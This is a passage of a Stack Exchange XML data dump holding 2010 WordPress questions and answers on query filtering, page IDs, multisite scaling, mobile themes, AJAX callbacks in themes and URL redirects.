  <row Id="2427" PostTypeId="2" ParentId="2416" CreationDate="2010-09-30T19:05:41.157" Score="2" ViewCount="" Body="&lt;p&gt;I don't like using categories for this, as they are supposed to be semantic terms. I do, however, like the idea of the global array. Instead of creating a new query directly, I will filter it through a function that will add the results to a global array and return the results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I add this to functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function nt_globals($args){&#xA;    global $used;&#xA;&#xA;    $defaults = array(&#xA;        'post__not_in' =&amp;gt; $used,&#xA;        );&#xA;    $query = wp_parse_args( $args, $defaults );&#xA;&#xA;    $queryObject = new WP_Query($query);&#xA;&#xA;    foreach ($queryObject-&amp;gt;posts as $item):&#xA;        $used[] = $item-&amp;gt;ID;&#xA;    endforeach;&#xA;&#xA;    return $queryObject;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I call the function whenever I want a query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$queryObject = nt_globals('posts_per_page=1');&#xA;&#xA;while ($queryObject-&amp;gt;have_posts()):&#xA;    $queryObject-&amp;gt;the_post();&#xA;    the_title();&#xA;endwhile; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10" LastEditorUserId="10" LastEditorDisplayName="" LastEditDate="2010-10-01T15:45:55.137" LastActivityDate="2010-10-01T15:45:55.137" CommentCount="1" />
  <row Id="2428" PostTypeId="1" AcceptedAnswerId="2430" CreationDate="2010-09-30T19:06:58.883" Score="0" ViewCount="108" Body="&lt;p&gt;I'm not sure if I'm blind here, but short of digging directly into the database tables, where would I find the database id for a post or a page?&lt;/p&gt;&#xA;" OwnerUserId="147" LastActivityDate="2010-10-01T01:03:44.957" Title="Finding the page id" Tags="&lt;post-meta&gt;&lt;page-specific-settings&gt;" AnswerCount="3" />
  <row Id="2429" PostTypeId="2" ParentId="2404" CreationDate="2010-09-30T19:09:53.083" Score="5" ViewCount="" Body="&lt;p&gt;Not directly answering the question, but I've set up a Google Custom Search Engine just to find reliable answers to my WP questions, using most of these authors as the source sources. I add more as I find someone reliable and knowledgeable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check it out here:  &lt;a href=&quot;http://www.google.com/cse/home?cx=002157635966454377808%3A_-i17w7z4d0&quot; rel=&quot;nofollow&quot;&gt;Wordpress Developers Custom Search Engine&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ones that I have on it that are missing from this list are:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://www.andrewnacin.com&quot; rel=&quot;nofollow&quot;&gt;Andrew Nacin&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/users/8175&quot;&gt;&lt;img src=&quot;http://wordpress.stackexchange.com/users/flair/8175.png?theme=clean&quot; width=&quot;208&quot; height=&quot;58&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://www.prelovac.com&quot; rel=&quot;nofollow&quot;&gt;Vladimir Prelovac&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://josephscott.org/&quot; rel=&quot;nofollow&quot;&gt;Joseph Scott&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/users/560&quot;&gt;&lt;img src=&quot;http://wordpress.stackexchange.com/users/flair/560.png?theme=clean&quot; width=&quot;208&quot; height=&quot;58&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://www.semiologic.com/&quot; rel=&quot;nofollow&quot;&gt;Denis de Bernardy&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/users/1208&quot;&gt;&lt;img src=&quot;http://wordpress.stackexchange.com/users/flair/1208.png?theme=clean&quot; width=&quot;208&quot; height=&quot;58&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-08-26T22:00:00.263" LastActivityDate="2011-08-26T22:00:00.263" CommunityOwnedDate="2010-09-30T19:09:53.083" />
  <row Id="2430" PostTypeId="2" ParentId="2428" CreationDate="2010-09-30T19:12:53.407" Score="2" ViewCount="" Body="&lt;p&gt;IDs always show in links in admin area, like /wp-admin/post.php?post=&lt;strong&gt;2164&lt;/strong&gt;&amp;amp;action=edit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also some plugins that simplify this, quick search came up with &lt;a href=&quot;http://wordpress.org/extend/plugins/simply-show-ids/&quot; rel=&quot;nofollow&quot;&gt;Simply Show IDs&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-30T19:12:53.407" CommentCount="1" />
  <row Id="2431" PostTypeId="2" ParentId="2428" CreationDate="2010-09-30T19:16:47.920" Score="0" ViewCount="" Body="&lt;p&gt;Also, the status bar at the bottom of your browser is usually a convenient place to note the id when hovering over a link from within the admin&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2010-09-30T19:16:47.920" />
  <row Id="2432" PostTypeId="2" ParentId="2413" CreationDate="2010-09-30T19:53:00.940" Score="1" ViewCount="" Body="&lt;p&gt;The short answer? &lt;a href=&quot;http://wpshout.com/create-an-advanced-options-page-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Theme options page&lt;/a&gt; + secondary, conditionally-loaded CSS files = Joy in Mudville.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2010-09-30T19:53:00.940" />
  <row Id="2433" PostTypeId="1" CreationDate="2010-09-30T21:14:10.390" Score="1" ViewCount="223" Body="&lt;p&gt;My company is currently outsourcing development of 170 WordPress sites and I recently learned that they are developing all 170 in one instance of WordPress.  I am not a WordPress expert, but have seen scalability problems with other CMS products in the past where 50 or so sites in one instance experienced major performance issues over time as the site content and traffic grew.  As I said, I am far from a WordPress expert, so I thought I would reach out to the community on this one.  Is this a potential problem?  Or does WordPress scale well when used this way?&lt;/p&gt;&#xA;" LastActivityDate="2010-09-30T22:14:34.840" Title="WordPress Scalability - One Instance or Several?" Tags="&lt;performance&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="2434" PostTypeId="2" ParentId="2433" CreationDate="2010-09-30T22:14:34.840" Score="3" ViewCount="" Body="&lt;p&gt;It is very possible to scale WordPress to support multiple sites.  WordPress.com, for example, has &lt;a href=&quot;http://en.wordpress.com/stats/&quot; rel=&quot;nofollow&quot;&gt;over 13 million&lt;/a&gt;.  The trick, when it comes to performance, is to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Make sure your server can handle it&lt;/strong&gt;&lt;br&gt;&#xA;If you're on a shared hosting system, upgrade to a dedicated server (or many).  If you're running 170 blogs, you should have already done this.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Use caching&lt;/strong&gt;&lt;br&gt;&#xA;Every time a page is viewed, WordPress will go back to the database to re-build the page dynamically.  If you have a lot of traffic, this can be very bad for performance (i.e. a lot of sites with a little bit of traffic = one site with a lot of traffic).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Use multiple databases&lt;/strong&gt;&#xA;Just like you want to try to split your files across multiple servers to ease the load on one system, you want to spread your database system out as well.  There are several ways to do this ... &lt;a href=&quot;http://www.google.com/search?q=WordPress+multiple+database&quot; rel=&quot;nofollow&quot;&gt;try Googling&lt;/a&gt; for one or two.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Additional Resources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Installing_Multiple_Blogs&quot; rel=&quot;nofollow&quot;&gt;Installing Multiple Blogs&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-30T22:14:34.840" />
  <row Id="2435" PostTypeId="2" ParentId="2428" CreationDate="2010-10-01T01:03:44.957" Score="0" ViewCount="" Body="&lt;p&gt;Another plugin that can do this (and one I use often) is &quot;Reveal ID for admins&quot; &lt;a href=&quot;http://wordpress.org/extend/plugins/reveal-ids-for-wp-admin-25/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/reveal-ids-for-wp-admin-25/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2010-10-01T01:03:44.957" />
  <row Id="2436" PostTypeId="1" AcceptedAnswerId="2437" CreationDate="2010-10-01T01:26:16.190" Score="2" ViewCount="74" Body="&lt;p&gt;This question is related to this question: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/222/do-deactivated-plugins-slow-down-a-wordpress-site&quot;&gt;http://wordpress.stackexchange.com/questions/222/do-deactivated-plugins-slow-down-a-wordpress-site&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When developing a website with custom functionality for a client, particularly a site that will expect lots of traffic, what is better from a  performance perspective. To build the functionality into the theme itself or to build it into a plugin? Or is there any performance difference at all?&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2010-10-01T02:59:36.993" Title="For performance is it better to build custom functionality into the theme or a plugin" Tags="&lt;plugins&gt;&lt;performance&gt;" AnswerCount="1" />
  <row Id="2437" PostTypeId="2" ParentId="2436" CreationDate="2010-10-01T02:59:36.993" Score="5" ViewCount="" Body="&lt;p&gt;You're not going to get a noticeable difference doing it one way over another.  Slowness comes from what the code is doing.  If you're worried about performance, just make sure you're caching external requests whenever you can, that includes calls to the database.&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-10-01T02:59:36.993" />
  <row Id="2438" PostTypeId="1" AcceptedAnswerId="2440" CreationDate="2010-10-01T03:49:41.467" Score="6" ViewCount="750" Body="&lt;p&gt;I have a wordpress site and want to create a different theme for mobile.  I'd like to create a subdomain such as m.domain.com which will use a mobile optimized theme much different than the desktop version theme.  I understand multisite will handle the subdomain problem but I want all the content, custom posts, plugins, etc to be in a single site in the admin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything out there that will allow me to create a mobile subdomain and have a separate theme applied to that subdomained site while keeping the content, posts, plugins in a single site in the admin? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" LastActivityDate="2010-12-29T00:22:11.447" Title="Create mobile site with same content just different theme" Tags="&lt;multisite&gt;&lt;wp-admin&gt;&lt;mobile&gt;" AnswerCount="3" FavoriteCount="3" />
  <row Id="2439" PostTypeId="2" ParentId="2332" CreationDate="2010-10-01T05:57:12.100" Score="1" ViewCount="" Body="&lt;p&gt;Basically it goes like this (relevant steps only):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;plugins.php&lt;/code&gt; page calls &lt;code&gt;activate_plugin()&lt;/code&gt; function.&lt;/li&gt;&#xA;&lt;li&gt;Function starts output buffering.&lt;/li&gt;&#xA;&lt;li&gt;Includes plugin file.&lt;/li&gt;&#xA;&lt;li&gt;Fires &lt;code&gt;activate_plugin&lt;/code&gt; action.&lt;/li&gt;&#xA;&lt;li&gt;Fires &lt;code&gt;'activate_' . trim( $plugin )&lt;/code&gt; action.&lt;/li&gt;&#xA;&lt;li&gt;Fires &lt;code&gt;activated_plugin&lt;/code&gt; action.&lt;/li&gt;&#xA;&lt;li&gt;If buffer is not empty it creates &lt;code&gt;WP_Error&lt;/code&gt; object and returns it.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;plugins.php&lt;/code&gt; page checks for error and displays error message.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So  output happens somewhere between steps 2 and 7. If it comes up for multiple plugins then steps 3 and 5 are safe to exclude, they are plugin-specific.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it is likely something in either &lt;code&gt;activate_plugin&lt;/code&gt; or &lt;code&gt;activated_plugin&lt;/code&gt;. Also actual unwanted output is passed in &lt;code&gt;WP_Error&lt;/code&gt;object but not used (only its length).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd try to dump hooks first, will take bit of extra code in core a bit to get to that output in &lt;code&gt;WP_Error&lt;/code&gt; object.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-01T05:57:12.100" CommentCount="1" />
  <row Id="2440" PostTypeId="2" ParentId="2438" CreationDate="2010-10-01T06:36:28.543" Score="2" ViewCount="" Body="&lt;p&gt;try to read this useful article: &lt;a href=&quot;http://digwp.com/2009/12/redirect-mobile-users-to-mobile-theme/&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/2009/12/redirect-mobile-users-to-mobile-theme/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1017" LastActivityDate="2010-10-01T06:36:28.543" />
  <row Id="2441" PostTypeId="1" AcceptedAnswerId="2503" CreationDate="2010-10-01T07:36:55.770" Score="2" ViewCount="248" Body="&lt;p&gt;I'm trying to include the post title in a custom post type edit screen. For example if the post is called Biography, I want the edit page title to be 'Edit Biography'. I'm using the below code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_post_register() {&#xA; $mypagetitle = $post-&amp;gt;post_title;&#xA; $labels = array(&#xA;  'edit_item' =&amp;gt; __('Edit '.$mypagetitle),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why isn't this displaying the post title?&lt;/p&gt;&#xA;" OwnerUserId="1063" LastEditorUserId="1063" LastEditorDisplayName="" LastEditDate="2010-10-01T08:05:10.187" LastActivityDate="2010-10-03T07:04:09.523" Title="Displaying Post Title on Post Edit page?" Tags="&lt;custom-post-types&gt;&lt;wp-admin&gt;&lt;admin&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" />
  <row Id="2442" PostTypeId="1" AcceptedAnswerId="2443" CreationDate="2010-10-01T08:02:06.787" Score="0" ViewCount="60" Body="&lt;p&gt;I'm trying to edit a plugin so that it only shows it's submenu if the user is an administrator but I don't know how to define the value of the variable before the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function load_view( $name, $params = array(), $print_submenu_navigation = false ) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My code so far is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (current_user_can('administrator')) {&#xA; $print_submenu_navigation = true;  &#xA;}&#xA;else {&#xA; $print_submenu_navigation = false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I put this before the function I get a php error telling me it's expecting a function.&lt;/p&gt;&#xA;" OwnerUserId="1063" LastActivityDate="2010-10-01T08:08:49.497" Title="Defining the value of a variable before a function?" Tags="&lt;plugins&gt;&lt;functions&gt;&lt;variables&gt;" AnswerCount="1" />
  <row Id="2443" PostTypeId="2" ParentId="2442" CreationDate="2010-10-01T08:08:49.497" Score="1" ViewCount="" Body="&lt;p&gt;Wrong approach. &lt;code&gt;$print_submenu_navigation&lt;/code&gt; will be filled in local scope when function is called with arguments, it's not a matter of global variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want something like this when function is called (not defined):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;load_view( 'name', array(), current_user_can('administrator') ) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can add your snippet &lt;strong&gt;inside&lt;/strong&gt; the function, then input value for &lt;code&gt;$print_submenu_navigation&lt;/code&gt; will overwritten with result of your check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it's shorter to write it like this, function returns boolean:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$print_submenu_navigation = current_user_can('administrator');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-01T08:08:49.497" CommentCount="1" />
  <row Id="2444" PostTypeId="1" AcceptedAnswerId="2449" CreationDate="2010-10-01T08:25:49.297" Score="0" ViewCount="395" Body="&lt;p&gt;Okay, I'm starting out with some AJAX stuff in a wordpress theme&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) I'm building a child theme OFF the thematic framework&#xA;2) My child theme has a header.php, index.php, functions.php and style.css (at this stage)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my header.php I have the following (btw: the code is adapted from &lt;a href=&quot;http://codex.wordpress.org/AJAX_in_Plugins&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/AJAX_in_Plugins&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    if( !is_admin() ) {&#xA; add_action('wp_ajax_my_special_action', 'my_action_callback');&#xA; add_action('wp_ajax_nopriv_my_special_action', 'my_action_callback');&#xA; $_ajax = admin_url('admin-ajax.php');    &#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; &amp;gt;&#xA;jQuery(document).ready(function($) {&#xA;&#xA; var data = {&#xA;  action: 'my_special_action',&#xA;  whatever: 1234&#xA; };&#xA;&#xA; jQuery.post('&amp;lt;?php echo($_ajax); ?&amp;gt;', data, function(response) {&#xA;  jQuery('#output').html('Got this from the server: ' + response);&#xA; });&#xA;&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Right so that's all cool - and it updates the OUTPUT div on the page with &quot;Got this from the server: 0&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need a PHP function called &quot;my_action_callback&quot; - so in my theme's functions.php I have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_action_callback() {&#xA;&#xA; $whatever = $_POST['whatever'];&#xA;&#xA; $whatever += 10;&#xA;&#xA;    echo 'whatever now equals: ' . $whatever;&#xA;&#xA; die();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the ONLY function in my functions.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make sure the PHP function is working I stick my_action_callback() into my index.php - and it outputs &quot;whatever now equals: 10&quot; as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HOWEVER - the AJAX response is always 'Got this from the server: 0'&#xA;Ajax never seems to get the response from the PHP function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried adding .ajaxError() to see if there were any errors - nope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried adding the PHP functions to another plugin of mine - nope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing that jQuery isn't doing the ajax bit for me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="1107" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-03T18:20:56.770" LastActivityDate="2011-01-03T18:20:56.770" Title="How to get Ajax into a theme - without writing a plugin?" Tags="&lt;themes&gt;&lt;jquery&gt;&lt;ajax&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="2445" PostTypeId="2" ParentId="2441" CreationDate="2010-10-01T08:31:06.003" Score="0" ViewCount="" Body="&lt;p&gt;two things I'd suggest. First try adding global $post as the first line in your function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also in places I've had trouble getting the post_title, then I found another function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mypagetitle = single_post_title('', false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could try that - more details: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/single_post_title&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/single_post_title&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1107" LastActivityDate="2010-10-01T08:31:06.003" CommunityOwnedDate="2010-10-01T08:31:06.003" CommentCount="1" />
  <row Id="2446" PostTypeId="1" AcceptedAnswerId="2450" CreationDate="2010-10-01T08:41:39.427" Score="2" ViewCount="38" Body="&lt;p&gt;I've decided, that some second level pages I have, should really be blog articles. I want to copy and paste the title and body to an article and then delete the page (is there a better way of doing this?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm worrying about already existing links to the pages. I don't want them to break ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can I somehow enter the old URL as an alias URL for the article? Or maybe forward from&#xA;&lt;a href=&quot;http://mypage.com/level-one/level-two-page/&quot; rel=&quot;nofollow&quot;&gt;http://mypage.com/level-one/level-two-page/&lt;/a&gt;&#xA;to&#xA;&lt;a href=&quot;http://mypage.com/2010/07/30/level-two-page-as-article/&quot; rel=&quot;nofollow&quot;&gt;http://mypage.com/2010/07/30/level-two-page-as-article/&lt;/a&gt;&#xA;without showing the olt level-two-page in the navigation?&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2010-10-01T11:57:24.103" Title="Migrating a page to be an article" Tags="&lt;url-rewriting&gt;&lt;urls&gt;" AnswerCount="2" />
  <row Id="2447" PostTypeId="2" ParentId="2446" CreationDate="2010-10-01T09:22:20.257" Score="1" ViewCount="" Body="&lt;p&gt;You can edit in your database &quot;wp_posts&quot; table the row &quot;post_type&quot;, simply change &quot;page&quot; to &quot;post&quot;. Then set 301 redirect in your .htaccss file. The ID of this page/post remains the same.&lt;/p&gt;&#xA;" OwnerUserId="1017" LastActivityDate="2010-10-01T09:22:20.257" />
  <row Id="2448" PostTypeId="2" ParentId="2438" CreationDate="2010-10-01T09:59:17.283" Score="2" ViewCount="" Body="&lt;p&gt;Wordpress Mobile pack plugin does the exact job you want &#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mobile-pack/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-mobile-pack/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;you can choose different theme for mobile users&lt;/li&gt;&#xA;&lt;li&gt;you are provided with some specially made for phones themes to choose from&lt;/li&gt;&#xA;&lt;li&gt;no hassle - no bugs &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-10-01T09:59:17.283" />
  <row Id="2449" PostTypeId="2" ParentId="2444" CreationDate="2010-10-01T10:26:06.850" Score="5" ViewCount="" Body="&lt;p&gt;Put those &lt;code&gt;add_action&lt;/code&gt; functions in your &lt;code&gt;functions.php&lt;/code&gt; file too. If they're in &lt;code&gt;header.php&lt;/code&gt;, WordPress never registers them since header isn't loaded in AJAX. Also, you don't need that &lt;code&gt;is_admin()&lt;/code&gt; check. The theme's header will never load in admin. So, your functions file should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_ajax_my_special_action', 'my_action_callback');&#xA;add_action('wp_ajax_nopriv_my_special_action', 'my_action_callback');&#xA;function my_action_callback() {&#xA;&#xA; $whatever = $_POST['whatever'];&#xA;&#xA; $whatever += 10;&#xA;&#xA;    echo 'whatever now equals: ' . $whatever;&#xA;&#xA; die();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the beginning of that part of your theme's header file should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$_ajax = admin_url('admin-ajax.php');&#xA;?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; &amp;gt;&#xA;jQuery(document).ready(function($) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other than that, your code looks like it's good to go!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-10-01T10:26:06.850" CommentCount="5" />
  <row Id="2450" PostTypeId="2" ParentId="2446" CreationDate="2010-10-01T11:57:24.103" Score="6" ViewCount="" Body="&lt;p&gt;Use the &lt;a href=&quot;http://wordpress.org/extend/plugins/vice-versa/&quot; rel=&quot;nofollow&quot;&gt;Vice Versa plugin&lt;/a&gt; to change the post type. &#xA;Redirect the URL per .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Redirect permanent /old-url /new-url&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2010-10-01T11:57:24.103" CommentCount="1" />
  <row Id="2451" PostTypeId="1" AcceptedAnswerId="2459" CreationDate="2010-10-01T11:59:52.443" Score="0" ViewCount="319" Body="&lt;p&gt;I'd like to add some descriptive text underneath the page title on both the list and edit post screens for the default post and also custom post types - e.g. &quot;Below is a list of your recent blog posts.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to do this?&lt;/p&gt;&#xA;" OwnerUserId="1063" LastActivityDate="2010-10-01T16:32:22.710" Title="Add text to post list/edit screens?" Tags="&lt;custom-post-types&gt;&lt;wp-admin&gt;&lt;admin&gt;&lt;post-meta&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="2452" PostTypeId="1" AcceptedAnswerId="2453" CreationDate="2010-10-01T12:25:28.290" Score="1" ViewCount="123" Body="&lt;p&gt;I visit &lt;a href=&quot;http://ltty.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;http://ltty.wordpress.com/&lt;/a&gt; and want to know the theme name (so that I can use :) for my blog). How can I get it?&lt;/p&gt;&#xA;" OwnerUserId="992" LastActivityDate="2010-10-01T12:43:31.077" Title="How to know the theme name of a wordpress blog?" Tags="&lt;wordpress.com&gt;&lt;themes&gt;" AnswerCount="2" />
  <row Id="2453" PostTypeId="2" ParentId="2452" CreationDate="2010-10-01T12:43:22.140" Score="8" ViewCount="" Body="&lt;p&gt;This method isn't always fireproof, but you can often look at the source code (right click on white space in the blog), and look for the word &quot;themes.&quot; For instance, in the case of ltty.wordpress.com, this line appears:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;http://s2.wp.com/wp-content/themes/pub/inove/style.css?m=1285721595g&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The theme is &quot;inove.&quot; A quick Google Search reveals this source:&#xA; &lt;a href=&quot;http://wordpress.org/extend/themes/inove&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/themes/inove&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1079" LastActivityDate="2010-10-01T12:43:22.140" />
  <row Id="2454" PostTypeId="2" ParentId="2452" CreationDate="2010-10-01T12:43:31.077" Score="1" ViewCount="" Body="&lt;p&gt;This is WordPress &lt;strong&gt;.com&lt;/strong&gt; blog - running on provided service. It has no installable themes but choice from number of themes, provided by service. I can't find official list of themes available there so no idea if there is version for self-hosted blogs available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For self-hosted version of WordPress (commonly referred to as &lt;strong&gt;.org&lt;/strong&gt;) you can usually find theme name by looking up and opening &lt;code&gt;style.css&lt;/code&gt; file in source.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-01T12:43:31.077" />
  <row Id="2455" PostTypeId="2" ParentId="2210" CreationDate="2010-10-01T13:18:40.523" Score="2" ViewCount="" Body="&lt;p&gt;This plugin might be helpful: &lt;a href=&quot;http://www.nateomedia.com/wares/downloads/wordpress/wp-snap/&quot; rel=&quot;nofollow&quot;&gt;http://www.nateomedia.com/wares/downloads/wordpress/wp-snap/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(WP-SNAP stands for: WordPress System for Navigating Alphabetized Posts)&lt;/p&gt;&#xA;" OwnerUserId="1079" LastActivityDate="2010-10-01T13:18:40.523" />
  <row Id="2456" PostTypeId="2" ParentId="2210" CreationDate="2010-10-01T14:18:39.413" Score="1" ViewCount="" Body="&lt;p&gt;My recommendation would be to use &lt;code&gt;query_posts()&lt;/code&gt; to modify your query such that &lt;code&gt;orderby=title&lt;/code&gt; and &lt;code&gt;order=ASC&lt;/code&gt; ... this will return the same results as your first query, but with the posts &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Orderby_Parameters&quot; rel=&quot;nofollow&quot;&gt;ordered alphabetically by title&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-01T14:18:39.413" CommentCount="1" />
